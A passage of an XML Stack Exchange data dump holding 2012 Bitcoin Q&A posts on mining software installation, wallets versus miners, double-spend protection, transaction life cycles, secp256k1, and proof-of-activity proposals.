twisted&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Checking dependencies: python setup.py --requires&lt;/li&gt;&#xA;&lt;li&gt;Installing Phoenix by running &lt;code&gt;sudo make install&lt;/code&gt; and `sudo python ./setup.py install'&lt;/li&gt;&#xA;&lt;li&gt;Running Phoenix by typing &lt;code&gt;python phoenix.py example.py&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone walk me through the process of installing Phoenix2 (or other client) on OSX? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect I need to uninstall OpenCL, twisted, etc, and replace it with a download from &lt;a href=&quot;http://www.macports.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.macports.org/&lt;/a&gt;, among other tasks&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2016-03-16T08:44:19.930" Title="How do I install Phoenix 2 on Mac OSX Mountain Lion?" Tags="|mac|miner-configuration|mining-software|installation|phoenix|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4718" PostTypeId="1" AcceptedAnswerId="4719" CreationDate="2012-09-16T19:12:57.383" Score="2" ViewCount="331" Body="&lt;p&gt;I'm trying to understand how transactions are broadcast, the time is synchronized, and the chain extended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a wallet on OSX that required me to fully synchronize with the network.  Contrasting with this is the BitMinter client that doesn't need the historic chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me understand how a wallet and a miner work in a P2P environment with respect to &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Network (port) requirements and what protocol&lt;/li&gt;&#xA;&lt;li&gt;locating peers&lt;/li&gt;&#xA;&lt;li&gt;The actions taken with each peer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T09:12:07.833" LastActivityDate="2016-03-16T09:12:07.833" Title="What ways does a miner differ from a wallet?" Tags="|wallet|protocol|network|mining-software|port|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4719" PostTypeId="2" ParentId="4718" CreationDate="2012-09-16T19:45:17.773" Score="4" Body="&lt;p&gt;A &lt;strong&gt;wallet&lt;/strong&gt; is a way of storing your private and public keypairs. It is used by various &lt;strong&gt;clients&lt;/strong&gt; to check your balance and create new transactions. A client usually listens on port 8333, and has 8 other ports open for outgoing TCP/IP connections. It finds peers through various means - exchanging info with other peers, using fallback nodes, seed nodes and so forth. Its main purpose is to exchange information with its peers about new blocks, transactions and the like in a peer-to-peer fashion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;miner&lt;/strong&gt; is an application connected to a &lt;strong&gt;mining pool&lt;/strong&gt;. The mining pool runs its own client to get the latest information on blocks and transactions, as well as handling the creation of new blocks. The pools generally use port 8332 for communicating with their miners. It is a server that communicates with a lot of miners through the use of HTTP JSON RPC, and usually comes with a website of some sorts. The miners find the pool, and the pool doesn't care about peers (it has a client for that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A miner is an application that runs on local mining rigs (computers with high-end GPUs and other dedicated devices). It communicates with a mining pool through HTTP JSON RPC calls. The miner connects to (usually) one pool of a predetermined address, but the getwork protocol facilitates the use of backup pool addresses. The miner is responsible for getting &quot;work&quot; from a pool, processing it, and submitting shares back to the pool. A miner does not care about its peers, just the pool it is connected to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that clears out all the problems you had. You might also be interested in checking out my &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88149.0&quot;&gt;master thesis on Bitcoin&lt;/a&gt; for more information on numerous subjects related to Bitcoin, mining pools and security.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-16T19:45:17.773" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4720" PostTypeId="2" ParentId="4705" CreationDate="2012-09-16T22:05:38.497" Score="1" Body="&lt;p&gt;The amount of hashes per second your hardware performs is based solely on your hardware and software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current speed of the network is irrelevant to how much your contribution will earn.  The only thing that matters is the current difficulty.   An amount of hashing above or below that difficulty level will indicate the direction of the next difficulty adjustment, but for the next block, your mining returns depend on the difficulty and nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a spreadsheet with the raw data:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHVRMHpqWUJValI1RlZiaEtCT1RrQmc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHVRMHpqWUJValI1RlZiaEtCT1RrQmc&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And here's the difficulty chart (blue):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ItZOu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.google.com/spreadsheet/oimg?key=0AmcTCtjBoRWUdHVRMHpqWUJValI1RlZiaEtCT1RrQmc&amp;amp;oid=10&amp;amp;zx=2bny6fbyhfqd&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.google.com/spreadsheet/oimg?key=0AmcTCtjBoRWUdHVRMHpqWUJValI1RlZiaEtCT1RrQmc&amp;amp;oid=10&amp;amp;zx=2bny6fbyhfqd&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-16T22:05:38.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4721" PostTypeId="1" AcceptedAnswerId="4727" CreationDate="2012-09-16T23:39:18.163" Score="1" ViewCount="229" Body="&lt;p&gt;I'm a vendor who is interested in protecting myself from double spend attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What software, configuration, connectivity, or timeout is required to mitigate this risk?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namely, how would I protect myself if a continential communications blackout were to occur, as &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1738/1878&quot;&gt;described here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could occur if I'm accepting payment on a satellite link, as often occurs on boat-casinos, islands (Hawaii), or in 3rd world countries.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2012-09-17T03:55:33.440" Title="Without being continuously connected to the network, how can I protect from Double Spend attacks?" Tags="|network|doublespend|blockchain-fork|risk-mitigation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4722" PostTypeId="2" ParentId="2428" CreationDate="2012-09-16T23:41:30.090" Score="2" Body="&lt;p&gt;The site that comes closest to Adsense today in the Bitcoin realm seems to be &lt;a href=&quot;http://www.CoinURL.com&quot; rel=&quot;nofollow&quot;&gt;http://www.CoinURL.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's relatively new but to my experience has been the most convenient to work with.&lt;/p&gt;&#xA;" OwnerUserId="1892" LastActivityDate="2012-09-16T23:41:30.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4723" PostTypeId="1" AcceptedAnswerId="4725" CreationDate="2012-09-16T23:43:29.700" Score="3" ViewCount="1443" Body="&lt;p&gt;If I use Mt.Gox to do this, what are the specific steps I need to take?&lt;/p&gt;&#xA;" OwnerUserId="1893" LastEditorUserId="78" LastEditDate="2012-09-19T11:48:53.813" LastActivityDate="2012-09-19T11:48:53.813" Title="How do I convert Bitcoin to cash at my bank via Mt. Gox?" Tags="|transactions|exchanges|trading|money|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4724" PostTypeId="1" AcceptedAnswerId="4731" CreationDate="2012-09-17T02:04:46.777" Score="4" ViewCount="4629" Body="&lt;p&gt;&lt;strong&gt;I'm trying to understand a transaction's lifetime and haven't yet found a technical, linear &quot;timeline&quot; of events that occur when a P2P transaction occurs.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my understanding so far; please correct it as needed: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A person uses their RSA private key to sign a message saying &quot;deduct X amount from my account and send it to YYY address(s)&quot;.  In this message they also reference the current Block number.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The client application (wallet) sends this transaction to 6 nodes for &quot;confirmation&quot;. (is the destination a miner or a wallet?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;?? What does confirmation actually do??&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The mining nodes add those transactions to single message called a block (&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3870/1878&quot;&gt;and save them in almost any order&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The mining nodes compete to find a SHA256(SHA256(x)) hash of the the block that starts with a predetermined number of zeros.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The first mining node (or node pool) to generate the winning hash collects a prize and increments the block count.  (note this currently appears to take 30 minutes, and the block size is limited to 1MB)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The miners notify a wallet who then replicates the new block to anyone who requests it, and pushes the updates to a certain number of peers.  Any block with a date difference greater than 120 minutes of system time is discarded.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Any in-flight transactions that reference the solved block have to be resubmitted by the original client and refer to the current block.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Conflicting transactions (double spends) are &lt;a href=&quot;https://bitcoin.stackexchange.com/q/730/1878&quot;&gt;detected in the Bitcoin client and discarded.&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The wallet will keep track of any forked chains and the chain with the most computational power backing it wins.  This fork may occur due to netsplits or malicious activity).   In addition no single wallet or central authority currently knows of all the invalid transactions, or forks that have occurred in the network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once 100 (or 120) confirms have been sent, the BTC generated with the block may be spent. &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3464/1878&quot;&gt;source&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-03-16T09:58:11.133" Title="What is a transaction's step-by-step life cycle?" Tags="|transactions|blockchain|confirmations|transaction-propagation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4725" PostTypeId="2" ParentId="4723" CreationDate="2012-09-17T02:25:57.957" Score="0" Body="&lt;p&gt;The factors that matter for any cash-out decision are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Where are you located (country)?&lt;/li&gt;&#xA;&lt;li&gt;How much are you looking to trade?&lt;/li&gt;&#xA;&lt;li&gt;What type of cash are you looking to receive?&lt;/li&gt;&#xA;&lt;li&gt;How soon do you need access to the proceeds?&lt;/li&gt;&#xA;&lt;li&gt;Is privacy important?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You are specifically asking about Mt. Gox but there are numerous methods for transferring value from bitcoins to your bank.  In some instances, Mt. Gox will be a good choice or the best choice, and in other instances it may not be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the U.S., for instance, Mt. Gox does not directly provide ACH withdrawal.  ACH transfers are a method for inexpensive bank transfers.  They do support withdrawing of funds to Dwolla and Dwolla can be connected (via ACH) to your bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the article for Mt. Gox on the Bitcoin Wiki:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Mtgox#Direct_Deposit_2&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Mtgox#Direct_Deposit_2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And here's the article for describing most of the various cash-out / withdrawal methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Selling_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Selling_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-17T02:25:57.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4726" PostTypeId="2" ParentId="2186" CreationDate="2012-09-17T02:29:05.477" Score="2" Body="&lt;p&gt;Perhaps your transaction took longer because the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/845/1878&quot;&gt;Bitcoin Days Destroyed&lt;/a&gt; is different..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this metric described as as a technique to throttle spammy transactions, where older coins get faster treatment than the same amount of coins that were just transferred to a wallet.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-09-17T02:29:05.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4727" PostTypeId="2" ParentId="4721" CreationDate="2012-09-17T02:59:19.320" Score="2" Body="&lt;p&gt;To essentially eliminate any risk due to &lt;a href=&quot;http://en.bitcoin.it/wiki/Double-spending&quot; rel=&quot;nofollow&quot;&gt;double spending&lt;/a&gt;, the recommended level of confirmations is six.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most transactions such as those to a bricks and mortar merchant, payment might be accepted immediately (with 0 confirmations), but that exposes the merchant to a small degree of double-spending risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A recommendation for merchants running their own node is to have the configuration where there are no incoming connection and to explicitly have an outgoing connection to a well-connected node.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, properly configured this way, the merchant is not much at risk of double spending because either the transaction was broadcast and it reached the well-connected node that the merchant connects to or it didn't and the merchant doesn't know about it until communications from the party attempting to pay can be re-established with the outside world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that scenario, bitcoin fares no worse than any other merchant payment system as those require authorization from &lt;a href=&quot;https://www.chasepaymentech.com/connectivity.html&quot; rel=&quot;nofollow&quot;&gt;connected sources&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of data to receive blockchain data is relatively little -- under 100MB per day.  Thus even a single dialup modem connection is all that would be needed and that node could then serve all other nodes connected locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if mobile communications are present, the merchant could simply use mobile notification from a hosted service and not run using a node at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a business solution not a technical one to the specific scenario requested.  Just as a hotel will accept a check from a guest even when it doesn't have a guarantee that the check won't bounce, a merchant can accept a bitcoin transaction even when there are no communications by adding a layer above (e.g., verifying identification, getting approval to charge against a backup payment method using a credit card, not selling anything of high value during the communications outage, etc.)&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-17T03:17:20.727" LastActivityDate="2012-09-17T03:17:20.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4728" PostTypeId="2" ParentId="2186" CreationDate="2012-09-17T03:48:15.033" Score="-1" Body="&lt;p&gt;Simple (and please do correct me if I am wrong):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MtGox send their bitcoin network transactions via Eligius with no fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you are at the mercy of that one pool finding a block and ensuring your transaction is included in that block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore transactions sent from MtGox do not fairly represent the experience of the majority of transactions made via the bitcoin network (which is your transaction should make it in to the blockchain in 10 minutes or less, on average).&lt;/p&gt;&#xA;" OwnerUserId="382" LastActivityDate="2012-09-17T03:48:15.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4729" PostTypeId="2" ParentId="4721" CreationDate="2012-09-17T03:55:33.440" Score="1" Body="&lt;p&gt;The easiest way to protect oneself against double-spend attack is to ignore all transactions that don't have at least six confirmations. Changing that many blocks through a Finney attack would be prohibitively expensive and quite implausible.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-17T03:55:33.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4730" PostTypeId="1" AcceptedAnswerId="4733" CreationDate="2012-09-17T03:57:54.260" Score="3" ViewCount="343" Body="&lt;p&gt;This is my main concern, but are there any other design flaws with Bitcoin?  &lt;/p&gt;&#xA;" OwnerUserId="1895" LastEditorUserId="516" LastEditDate="2012-10-01T20:47:18.563" LastActivityDate="2017-11-02T10:44:14.593" Title="If the computer calculation rate becomes 100x faster, would the value of bitcoin drop to 1% of the previous value?" Tags="|economic-theory|hashpower|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4731" PostTypeId="2" ParentId="4724" CreationDate="2012-09-17T04:16:51.993" Score="10" Body="&lt;p&gt;The lifetime of a transaction would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You start with a client, a wallet that contains your keypairs, and some unspent transactions (you get those from other people or through mining).&lt;/li&gt;&#xA;&lt;li&gt;You create a new transaction spending some of your unspent Bitcoins, sign it with your private keys. Your client will store a copy of it.&lt;/li&gt;&#xA;&lt;li&gt;Your client starts to broadcast the new transaction through the Bitcoin Network. As far as I remember it doesn't broadcast it to every peer, but to every 8th peer in order to protect your anonymity. Every minute the client will also broadcast all transactions it knows about to one of its peers, which would also include your new transaction.&lt;/li&gt;&#xA;&lt;li&gt;Every client that receives your transaction scrutinizes it - they check whether the signature is okay, whether there are any errors, and whether you are trying to perform a double-spend. If your transaction fails any of the criteria, it is ignored by the client entirely. Otherwise the client keeps a note of the transaction in temporary memory.&lt;/li&gt;&#xA;&lt;li&gt;All the clients that know about your transaction follow a similar route of broadcasting as you did - send it to 1/8 peers, and then to one peer every minute. They will also not broadcast your transaction if its fee is too small at a given time (which varies on the amount of transactions to be included in a block and so forth). Generally, if you don't pay fees, you get punished with slow transaction broadcast rate right here.&lt;/li&gt;&#xA;&lt;li&gt;Eventually your transaction reaches some mining pools and the recipients of the transactions. The latter will see the new transaction in their wallets and store a copy of it indefinitely, but it will appear as 0 confirmations. The mining pools will see it as a new transaction and (most likely) will include it in every block they try to create. They will store a local copy of the temporary blocks and give out the corresponding work to solve to their miners.&lt;/li&gt;&#xA;&lt;li&gt;The miners don't know anything about your transaction, other than with one or more transaction it hashes to a given merkle root. Their job is to crunch numbers, not to check for block validity, as that's a task for the pool.&lt;/li&gt;&#xA;&lt;li&gt;Eventually your transaction is included in a block that gets solved. It gets broadcasted proudly through the Bitcoin network and everyone keeps a note of it from now on (to know if some new transaction conflicts with it in a double-spend attempt). Now your transaction has 1 confirmations.&lt;/li&gt;&#xA;&lt;li&gt;The block creation process continues, and as more and more blocks build atop the block your transaction gets included, it gains more confirmations. Eventually reaching 6 and more confirmations, it is considered fully confirmed.&lt;/li&gt;&#xA;&lt;li&gt;The transaction finishes its live cycle once it is spent by another transaction, meaning that its outputs can be forgotten from the &quot;unspent&quot; memory and disregarded for any other attempts to spend them. It will, however, remain in the blockchain for as long as people will keep track of the full chain.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are a few complications during 51% attacks and so forth, but this is the main flow of a standard transaction.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-17T04:16:51.993" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4732" PostTypeId="1" AcceptedAnswerId="4735" CreationDate="2012-09-17T04:32:07.897" Score="7" ViewCount="1480" Body="&lt;p&gt;Bitcoin is unique that is uses secp256k1 to secure it's transactions; and any cryptographic attack against this algorithm is probably going to be percieved as an attack against the bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is this algorithm used and in what manner is it used?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="47827" LastEditDate="2022-07-09T12:33:08.550" LastActivityDate="2022-07-09T12:33:08.550" Title="Where and how is secp256k1 used within Bitcoin?" Tags="|cryptography|secp256k1|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4733" PostTypeId="2" ParentId="4730" CreationDate="2012-09-17T04:35:47.660" Score="5" Body="&lt;p&gt;TL;DR: Change of computer calculation power doesn't affect the price at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Market Price of anything determined by supply and demand, bitcoin is not exception the only difference is that the supply side is constant, 50 BTC per ten minutes at the moment. Regardless of how much computer power used to generate bitcoins the rate of produced bitcoins will not change because Bitcoin network difficulty will adjust to make it harder or easier to find new bitcoins depending on total network computer power, bitcoin price change purely because of change of demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is a controversy about certain aspects of Bitcoin, but there is no designing flaws that I know of.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2012-09-18T04:47:42.130" LastActivityDate="2012-09-18T04:47:42.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4734" PostTypeId="1" AcceptedAnswerId="4744" CreationDate="2012-09-17T05:31:54.600" Score="2" ViewCount="387" Body="&lt;p&gt;The &lt;a href=&quot;https://bitcointalk.org/index.php?topic=823.0;all&quot; rel=&quot;nofollow&quot;&gt;overflow bug of 2010&lt;/a&gt; was a result of a client that summed two values together and reaching INT64_MAX instead of UINT64_MAX.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Should transactions of INT64_MAX (or any similar constant) be treated with suspicion?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How was the overflow bug of 2010 detected?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there provisions in place for similar, future large transactions that may involve larger sums?  (128 bit values (if possible in the network)) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="44" LastEditDate="2013-04-20T04:03:26.473" LastActivityDate="2013-04-20T04:03:26.473" Title="How was the overflow bug of 2010 detected? Should UINT64_MAX value transactions be considered suspicious?" Tags="|transactions|verification|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4735" PostTypeId="2" ParentId="4732" CreationDate="2012-09-17T05:50:38.490" Score="10" Body="&lt;p&gt;All of Bitcoin's public-key cryptography is done with secp256k1. Every sane transaction has at least one secp256k1 signature and at least one secp256k1 public key or public key hash (address). A complete overnight failure of ECDSA/secp256k1 is the only technical failure I can think of which could destroy Bitcoin. This is very unlikely, though.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin is unique that is uses secp256k to secure it's transactions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Secp256k1 is presumably used in other applications (though Bitcoin is certainly the largest). It's a standard curve published in 2000 by Certicom Research and included in OpenSSL and other crypto libraries. Satoshi didn't just make it up or anything.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-09-17T05:50:38.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4736" PostTypeId="2" ParentId="4730" CreationDate="2012-09-17T07:40:07.870" Score="1" Body="&lt;p&gt;7,200 BTC a day is mined whether there is 200 rigs hashing away or 20,000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rate can climb slightly but every 2,016 blocks the rate of issuance gets recalibrated back to being once every 10 minutes (at 50 BTC per block then is 7,200 BTC per day).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block reward subsidy will be changing in a couple months, to 25 BTC per day so the daily issuance is going to drop suddenly by half, for the next four years after.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-17T07:40:07.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4737" PostTypeId="1" AcceptedAnswerId="4741" CreationDate="2012-09-17T08:15:53.897" Score="5" ViewCount="2262" Body="&lt;p&gt;coblee (Litecoin creator) &lt;a href=&quot;https://bitcointalk.org/index.php?topic=102355&quot; rel=&quot;noreferrer&quot;&gt;suggested a new Proof of Activity&lt;/a&gt; method, to complement &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_work&quot; rel=&quot;noreferrer&quot;&gt;Proof of Work&lt;/a&gt;, instead of using &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_Stake&quot; rel=&quot;noreferrer&quot;&gt;Proof of Stake&lt;/a&gt; (oh my!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone provide a tl;dr of what is the key problem in PoS that PoA is trying to solve, and how does it solve it?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-09-17T15:42:11.537" Title="What is the key difference between the Proof of Activity proposal and Proof of Stake?" Tags="|blockchain|alternatives|proof-of-stake|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4738" PostTypeId="1" AcceptedAnswerId="4781" CreationDate="2012-09-17T13:35:29.173" Score="1" ViewCount="161" Body="&lt;p&gt;I'm researching the interactions between a Wallet and a Miner.  Although I'm also interested in the high level sequence of operations, I'm also interested in discovering the protocol and verbs used in the TCP connection.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the specific interactions between a Wallet client/node and a Miner?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T09:07:13.027" LastActivityDate="2016-03-16T09:07:13.027" Title="What are the specific interactions between a Wallet client/node and a Miner?" Tags="|wallet|protocol|mining-theory|terminology|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4739" PostTypeId="1" AcceptedAnswerId="4740" CreationDate="2012-09-17T14:23:02.573" Score="5" ViewCount="2580" Body="&lt;p&gt;I was sure that &lt;a href=&quot;http://blockchain.info/wallet&quot;&gt;My Wallet&lt;/a&gt; supported multisig, but I can't seem to find it now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can three users of My Wallet create an address that is only spendable if at least two of them cooperate? Or is this not implemented yet? If so, when is it due?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-12-27T03:18:49.240" Title="How can I use multisig / split keys using My Wallet?" Tags="|blockchain.info|multi-signature|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4740" PostTypeId="2" ParentId="4739" CreationDate="2012-09-17T14:53:48.523" Score="4" Body="&lt;p&gt;This is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=40264.msg1196203#msg1196203&quot; rel=&quot;nofollow&quot;&gt;the latest info&lt;/a&gt; I have seen from Ben who runs blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Question: The escrow function seems to be gone. Will it return?&#xA;  &lt;a href=&quot;https://blockchain.info/wallet/escrow&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/escrow&lt;/a&gt;?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Ben: The escrow feature was removed because not enough people were using it. I think maybe it was just too confusing/not well documented enough.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I did not see any info on if/when it will return.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2012-09-17T14:53:48.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4741" PostTypeId="2" ParentId="4737" CreationDate="2012-09-17T15:42:11.537" Score="2" Body="&lt;p&gt;From what I understand, Proof of Activity and Proof of Stake are methods of preventing a 51% attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proof of Stake basically means that the people that hold the most coins sign the blocks that will be part of the block chain. This means that the people that have the most to lose from a 51% attack will do their best to prevent it and not risk losing their money. However, this also means that the rich users can control the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proof of Activity from what I gather is a method of selecting a random peer from the entire network to sign a new block that would be temper-proof. This would mean that a 51% attack could not execute too well, as it couldn't predict who the signing peer be in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter idea appears to be better for preventing attacks on the network, providing there are no logical problems in there. However, I have not studied either of the two methods in greater detail so I might be wrong.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-17T15:42:11.537" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
